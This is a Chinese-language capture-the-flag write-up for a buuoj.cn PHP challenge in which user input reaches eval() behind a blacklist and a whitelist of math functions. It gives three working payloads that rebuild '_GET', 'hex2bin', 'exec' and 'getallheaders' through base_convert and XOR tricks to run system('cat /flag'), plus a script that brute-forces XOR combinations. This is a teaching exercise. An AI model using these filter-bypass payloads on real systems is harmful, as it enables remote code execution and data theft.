平台:buuoj.cn
打开靶机源码如下
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
$content限制了长度
$blacklist过滤了一些字符
$whitelist过滤了一些单词
前置知识
base_convert() 函数:在任意进制之间转换数字。
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
解题
一、
payload:
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=ls%20/
分段看
base_convert(37907361743,10,36) = hex2bin
dechex(1598506324) = 5f474554
hex2bin('5f474554') = _GET
($$pi){pi}(($$pi){abs}) = $_GET{pi}($_GET{abs})
($$pi){pi}(($$pi){abs})&pi=system&abs=cat%20/flag => $_GET{system}($_GET{cat%20/flag})=>system('cat%20/flag')
二、
?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{pi}($pi{abs})&0=system&1=cat%20/flag
(is_nan^(6).(4)).(tan^(1).(5)) = _GET
($$pi){pi}(($$pi){abs}) = $_GET{pi}($_GET{abs})
($$pi){pi}(($$pi){abs})&pi=system&abs=cat%20/flag => $_GET{system}($_GET{cat%20/flag})=>system('cat%20/flag')
关于PHP Math 函数
可用
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo " ";
}
}
}
?>
可对应查询相关字符
三、
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
$pi(696468,10,36) = exec
$pi(8768397090111664438,10,30) = getallheaders
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1}) = exec(getallheaders(){1})
getallheaders — 获取全部 HTTP 请求头信息
抓包重放
在请求头加上cat /flag